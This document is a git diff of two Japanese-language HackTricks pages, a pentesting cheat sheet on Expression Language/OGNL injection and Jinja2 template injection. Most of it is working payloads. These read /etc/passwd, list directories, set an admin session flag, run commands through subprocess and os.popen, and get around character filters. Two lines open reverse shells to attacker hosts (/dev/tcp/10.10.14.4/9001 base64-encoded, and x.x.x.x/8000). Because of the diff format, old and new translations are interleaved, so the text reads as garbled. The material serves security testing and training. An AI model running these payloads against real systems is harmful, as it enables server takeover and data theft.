**ELバージョン**によっては、一部の**機能**が**オン**または**オフ**になることがあり、通常、一部の**文字**が**許可されない**ことがあります。
|
||||
{% endhint %}
|
||||
|
||||
## 基本的な例
|
||||
## 基本例
|
||||
|
||||
([https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)にELに関する別の興味深いチュートリアルがあります)
|
||||
(他の興味深いELチュートリアルは[https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)で見つけることができます)
|
||||
|
||||
[**Maven**](https://mvnrepository.com)リポジトリから以下のjarファイルをダウンロードします。
|
||||
[**Maven**](https://mvnrepository.com)リポジトリから以下のjarファイルをダウンロードします:
|
||||
|
||||
* `commons-lang3-3.9.jar`
|
||||
* `spring-core-5.2.1.RELEASE.jar`
|
||||
* `commons-logging-1.2.jar`
|
||||
* `spring-expression-5.2.1.RELEASE.jar`
|
||||
|
||||
そして、次の`Main.java`ファイルを作成します。
|
||||
そして、以下の`Main.java`ファイルを作成します:
|
||||
```java
|
||||
import org.springframework.expression.Expression;
|
||||
import org.springframework.expression.ExpressionParser;
|
||||
|
@ -66,30 +67,18 @@ System.out.println(result);
|
|||
```java
|
||||
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
||||
```
|
||||
以下のコマンドでアプリケーションを実行します:
|
||||
アプリケーションを実行するには次のコマンドを使用してください:
|
||||
```java
|
||||
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
|
||||
Enter a String to evaluate:
|
||||
{5*5}
|
||||
[25]
|
||||
```
|
||||
前の例では、`{5*5}`という用語が**評価**されたことに注目してください。
|
||||
Note how in the previous example the term `{5*5}` was **evaluated**.
|
||||
|
||||
## **CVEの例**
|
||||
## **CVEベースのチュートリアル**
|
||||
|
||||
すでに見てきたとおり、開発者がユーザー入力でSpELを使用している場合、インジェクション用のペイロードを作成する必要があります。リモートコード実行(RCE)を許可するものをチェックしてみましょう。これは、[CVE-2017–8046](https://github.com/m3ssap0/SpringBreakVulnerableApp)のエクスプロイトの一部として作成されました。
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1933/1\*qyl6ZLeJOyXmxmdqMcT8tg.png)
|
||||
|
||||
それは3つの部分で構成されています:
|
||||
|
||||
* 黒色 - コマンドの実行結果をHTTPリクエストの出力ストリームに直接コピーする
|
||||
* 赤色 - Javaランタイムを取得し、システムでコマンドを実行する
|
||||
* 青色 - コマンドを含む文字列:`cmd /c dir`。コマンドの各文字を数値からデコードして、より堅牢にします。
|
||||
|
||||
実行結果:
|
||||
|
||||
![Image for post](https://miro.medium.com/max/982/1\*APSYwU3qbw0rNJAd2xhdNA.png)
|
||||
Check it in **this post: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
|
||||
|
||||
## ペイロード
|
||||
|
||||
|
@ -117,40 +106,28 @@ Enter a String to evaluate:
|
|||
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
|
||||
[public boolean java.util.Date.equals(java.lang.Object)]
|
||||
```
|
||||
### 検出
|
||||
### 検知
|
||||
|
||||
* Burpの検出
|
||||
* Burp検知
|
||||
```bash
|
||||
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
|
||||
gk6q${"zkz".toString().replace("k", "x")}doap2
|
||||
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
||||
```
|
||||
* J2EEの検出
|
||||
```bash
|
||||
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
|
||||
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
||||
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
||||
```
|
||||
* 10秒間スリープする
|
||||
* 10秒間スリープ
|
||||
```bash
|
||||
#Blind detection vector (sleep during 10 seconds)
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||||
```
|
||||
### リモートファイルインクルージョン
|
||||
|
||||
Remote File Inclusion(リモートファイルインクルージョン)は、ウェブアプリケーションの脆弱性の一つであり、攻撃者がリモートサーバー上の外部ファイルをウェブアプリケーションに組み込むことができるものです。この攻撃は、ウェブアプリケーションがユーザーの入力を適切に検証せずに使用する場合に発生します。
|
||||
|
||||
攻撃者は、ウェブアプリケーションにリモートサーバー上の任意のファイルを組み込むことができるため、悪意のあるコードを実行することが可能です。これにより、攻撃者はシステムに対して様々な攻撃を行うことができます。
|
||||
|
||||
リモートファイルインクルージョンの攻撃を防ぐためには、ウェブアプリケーションがユーザーの入力を適切に検証し、信頼できるソースからのみ外部ファイルを組み込むようにする必要があります。また、セキュリティパッチやアップデートを定期的に適用することも重要です。
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
|
||||
```
|
||||
### ディレクトリリスト
|
||||
|
||||
ディレクトリリストとは、ウェブサーバー上のディレクトリ内のファイルとサブディレクトリの一覧を表示する機能です。ディレクトリリストは、ウェブサイトのセキュリティに関する情報を漏洩する可能性があるため、セキュリティ上の懸念があります。攻撃者はディレクトリリストを使用して、ウェブサイトの構造やファイルの配置に関する情報を収集し、潜在的な脆弱性を特定することができます。
|
||||
|
||||
ディレクトリリストの表示を防ぐためには、ウェブサーバーの設定を適切に構成する必要があります。一般的な方法は、ウェブサーバーの設定ファイルでディレクトリリストの無効化を指定することです。また、ディレクトリにindex.htmlやindex.phpなどのデフォルトのインデックスファイルを配置することも有効です。
|
||||
|
||||
ディレクトリリストが有効になっている場合、攻撃者はウェブサイトの構造やファイルの配置に関する情報を入手し、潜在的な脆弱性を特定することができます。そのため、ディレクトリリストの無効化は、ウェブサイトのセキュリティを向上させるために重要な手順です。
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
|
||||
```
|
||||
|
@ -222,25 +199,17 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
|||
* `requestScope` - リクエスト変数
|
||||
* `initParam` - アプリケーションの初期化変数
|
||||
* `sessionScope` - セッション変数
|
||||
* `param.X` - XがHTTPパラメータの名前である場合のパラメータの値
|
||||
* `param.X` - X が HTTP パラメータの名前である場合のパラメータ値
|
||||
|
||||
これらの変数は、次のようにStringにキャストする必要があります:
|
||||
これらの変数を次のように String にキャストする必要があります:
|
||||
```bash
|
||||
${sessionScope.toString()}
|
||||
```
|
||||
#### 認証バイパスの例
|
||||
|
||||
```java
|
||||
${7*7}
|
||||
```
|
||||
|
||||
This example demonstrates a simple expression that performs a mathematical calculation. The expression `${7*7}` will be evaluated by the server-side template engine, resulting in the value `49` being displayed on the web page.
|
||||
|
||||
この例では、数学的な計算を行う単純な式を示しています。`${7*7}`という式は、サーバーサイドのテンプレートエンジンによって評価され、ウェブページには値`49`が表示されます。
|
||||
```bash
|
||||
${pageContext.request.getSession().setAttribute("admin", true)}
|
||||
```
|
||||
アプリケーションは、カスタム変数も使用することができます。以下のような例です:
|
||||
アプリケーションは、次のようにカスタム変数を使用することもできます:
|
||||
```bash
|
||||
${user}
|
||||
${password}
|
||||
|
@ -248,7 +217,7 @@ ${employee.FirstName}
|
|||
```
|
||||
## WAF バイパス
|
||||
|
||||
[https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)を確認してください。
|
||||
[https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -256,15 +225,3 @@ ${employee.FirstName}
|
|||
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**してください。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## **ラボ**
|
||||
## **Lab**
|
||||
```python
|
||||
from flask import Flask, request, render_template_string
|
||||
|
||||
|
@ -34,7 +34,7 @@ app.run()
|
|||
|
||||
### **デバッグステートメント**
|
||||
|
||||
デバッグ拡張機能が有効になっている場合、現在のコンテキストや利用可能なフィルターとテストをダンプするための `debug` タグが利用可能になります。これは、デバッガーを設定せずにテンプレートで使用できるものが何かを確認するのに役立ちます。
|
||||
デバッグ拡張機能が有効になっている場合、`debug` タグを使用して現在のコンテキストや利用可能なフィルターおよびテストをダンプすることができます。これは、デバッガをセットアップせずにテンプレートで使用可能なものを確認するのに役立ちます。
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -43,12 +43,11 @@ app.run()
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **すべての設定変数をダンプする**
|
||||
### **すべての構成変数をダンプする**
|
||||
|
||||
ソース: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
```python
|
||||
{{ config }} #In these object you can find all the configured env variables
|
||||
|
||||
|
@ -59,19 +58,15 @@ app.run()
|
|||
<dd>{{ value|e }}</dd>
|
||||
{% endfor %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Jinjaインジェクション**
|
||||
|
||||
まず、Jinjaインジェクションでは、**サンドボックスから脱出し**、通常のPython実行フローにアクセスを回復する方法を見つける必要があります。これを行うには、**サンドボックス環境内からアクセス可能だが、非サンドボックス環境からの**オブジェクトを**悪用する**必要があります。
|
||||
まず第一に、Jinjaインジェクションでは、**サンドボックスから脱出する方法を見つけ**、通常のPython実行フローへのアクセスを回復する必要があります。これを行うためには、**サンドボックスからアクセス可能な** **非サンドボックス環境からのオブジェクトを悪用**する必要があります。
|
||||
|
||||
### グローバルオブジェクトへのアクセス
|
||||
|
||||
例えば、コード `render_template("hello.html", username=username, email=email)` では、オブジェクトusernameとemailは**非サンドボックス化されたPython環境から来ており**、**サンドボックス化された環境内でアクセス可能**です。\
|
||||
さらに、以下のオブジェクトは**常にサンドボックス化された環境からアクセス可能**です:
|
||||
たとえば、コード`render_template("hello.html", username=username, email=email)`では、オブジェクトのusernameとemailは**非サンドボックスのPython環境から取得**され、**サンドボックス環境内でアクセス可能**になります。\
|
||||
さらに、**サンドボックス環境からは常にアクセス可能な**他のオブジェクトがあります。これらは:
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -82,11 +77,11 @@ request
|
|||
```
|
||||
### \<class 'object'> の回復
|
||||
|
||||
これらのオブジェクトから、定義された**クラス**を**回復**しようとするために、**`<class 'object'>`** というクラスに到達する必要があります。これは、このオブジェクトから **`__subclasses__`** メソッドを呼び出し、**サンドボックス化されていない** Python 環境のすべてのクラスに**アクセス**できるためです。
|
||||
次に、これらのオブジェクトからクラス **`<class 'object'>`** に到達する必要があります。これは、定義済みの **クラス** を **回復** しようとするためです。このオブジェクトから **`__subclasses__`** メソッドを呼び出し、**ノンサンドボックス化された** Python 環境からすべてのクラスにアクセスできます。
|
||||
|
||||
その**オブジェクトクラス**にアクセスするには、**クラスオブジェクトにアクセス**し、その後 **`__base__`**、**`__mro__()`**`[-1]` または `.`**`mro()[-1]`** にアクセスする必要があります。そして、この**オブジェクトクラス**に到達した**後**、**`__subclasses__()`** を**呼び出します**。
|
||||
その **オブジェクトクラス** にアクセスするには、**クラスオブジェクト** にアクセスし、**`__base__`**、**`__mro__()[-1]`**、または `.`**`mro()[-1]`** のいずれかにアクセスする必要があります。そして、この **オブジェクトクラス** に到達した後に **`__subclasses__()`** を呼び出します。
|
||||
|
||||
これらの例を確認してください:
|
||||
以下の例を確認してください:
|
||||
```python
|
||||
# To access a class object
|
||||
[].__class__
|
||||
|
@ -121,20 +116,15 @@ dict.__mro__[-1]
|
|||
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### RCE エスケープ
|
||||
### RCE Escaping
|
||||
|
||||
`<class 'object'>` を**回復した後**、`__subclasses__` を呼び出して、ファイルの読み書きやコードの実行に使用できるクラスを利用できるようになりました。
|
||||
**`<class 'object'>`を回復**し、`__subclasses__`を呼び出した後、これらのクラスを使用してファイルを読み書きし、コードを実行できるようになります。
|
||||
|
||||
`__subclasses__` の呼び出しにより、**何百もの新しい関数にアクセスする機会**が得られましたが、**ファイルクラスにアクセスしてファイルを読み書きする**ことや、コマンドを実行する機能を持つクラス(`os` のような)にアクセスするだけで満足します。
|
||||
`__subclasses__`への呼び出しにより、**数百の新しい関数にアクセス**できるようになりました。単に**ファイルクラス**にアクセスして**ファイルを読み書き**したり、`os`のような**コマンドを実行**できるクラスにアクセスするだけでも満足します。
|
||||
|
||||
**リモートファイルの読み書き**
|
||||
```python
|
||||
|
@ -142,7 +132,7 @@ dict.__mro__[-1]
|
|||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**RCE(リモートコード実行)**
|
||||
**RCE**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -159,18 +149,18 @@ dict.__mro__[-1]
|
|||
|
||||
|
||||
```
|
||||
**より多くのクラス**について学ぶために、**エスケープ**するために使用できるものを**確認**するには:
|
||||
**さらにクラス**を学ぶために**使用できる**クラスについては、以下を**確認**してください:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### フィルターのバイパス
|
||||
### フィルター回避
|
||||
|
||||
#### 一般的なバイパス
|
||||
#### 一般的な回避方法
|
||||
|
||||
これらのバイパスにより、一部の文字を**使用せずに**オブジェクトの**属性**に**アクセス**することができます。\
|
||||
これらのバイパスのいくつかは前の例で既に見ていますが、ここでそれらをまとめてみましょう:
|
||||
これらの回避方法を使用すると、**一部の文字を使用せずに**オブジェクトの**属性にアクセス**できます。\
|
||||
これらの回避方法のいくつかは、前述の例で既に見てきましたが、ここでまとめてみましょう:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -195,30 +185,26 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% raw %}
|
||||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**グローバルオブジェクトにアクセスするためのさらなるオプションに戻る**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**オブジェクトクラスにアクセスするためのさらなるオプションに戻る**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**オブジェクトクラスなしでRCEを取得するには、これを読む**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
* [**オブジェクトクラスなしでRCEを取得するためにこれを読んでください**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
|
||||
**HTMLエンコーディングを避ける**
|
||||
**HTMLエンコーディングを回避する**
|
||||
|
||||
デフォルトでは、Flaskはセキュリティ上の理由からテンプレート内のすべてをHTMLエンコードします:
|
||||
デフォルトでは、セキュリティ上の理由から、Flaskはテンプレート内のすべてをHTMLエンコードします。
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**`safe`** フィルターを使用すると、次のように、JavaScriptやHTMLをページに**HTMLエンコードされずに**注入することができます:
|
||||
**`safe`**フィルターを使用すると、次のようにページにJavaScriptとHTMLを**HTMLエンコードせずに**インジェクトできます:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**悪意のある設定ファイルを書き込むことによるRCE。**
|
||||
**悪意のある設定ファイルを書いてRCEを実行する。**
|
||||
```python
|
||||
# evil config
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
|
||||
|
@ -229,23 +215,20 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
# connect to evil host
|
||||
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
|
||||
```
|
||||
## 複数の文字なし
|
||||
## いくつかの文字なし
|
||||
|
||||
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** なし
|
||||
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
||||
```python
|
||||
{% raw %}
|
||||
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Jinjaインジェクション **\<class 'object'>** なしで
|
||||
## **\<class 'object'>** を使用しないJinjaインジェクション
|
||||
|
||||
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects)から、そのクラスを使用せずに **RCEに到達する別の方法があります。**\
|
||||
グローバルオブジェクトの任意の**関数**に到達できれば、**`__globals__.__builtins__`** にアクセスし、そこから **RCE** は非常に**シンプル**です。
|
||||
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects) から、**そのクラスを使用せずにRCEに到達する別の方法**があります。\
|
||||
これらのグローバルオブジェクトから**いずれかの関数**にアクセスできれば、**`__globals__.__builtins__`** にアクセスでき、そこから**RCE** は非常に **簡単**になります。
|
||||
|
||||
オブジェクト **`request`**、**`config`** およびアクセス可能なその他の興味深い**グローバルオブジェクト**から**関数を見つける**ことができます:
|
||||
**`request`**、**`config`**、およびアクセス可能な他の**興味深いグローバルオブジェクト**から、**関数を見つける**ことができます。
|
||||
```bash
|
||||
{{ request.__class__.__dict__ }}
|
||||
- application
|
||||
|
@ -265,9 +248,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
```markdown
|
||||
一度関数を見つけたら、以下の方法でbuiltinsを復元できます:
|
||||
```
|
||||
見つけた関数がある場合は、次のようにして組み込み関数を回復できます:
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
@ -288,23 +269,23 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
# All the bypasses seen in the previous sections are also valid
|
||||
```
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* [attr トリックを使ってブラックリストに載っている文字をバイパスする方法はこちら](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3)をチェックしてください。
|
||||
* ここでブラックリスト化された文字をバイパスするための [attr trick をチェック](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3) してください。
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS ハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式の PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションです。
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローしてください。**
|
||||
* **ハッキングのトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com) を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローしてください。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出してください。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue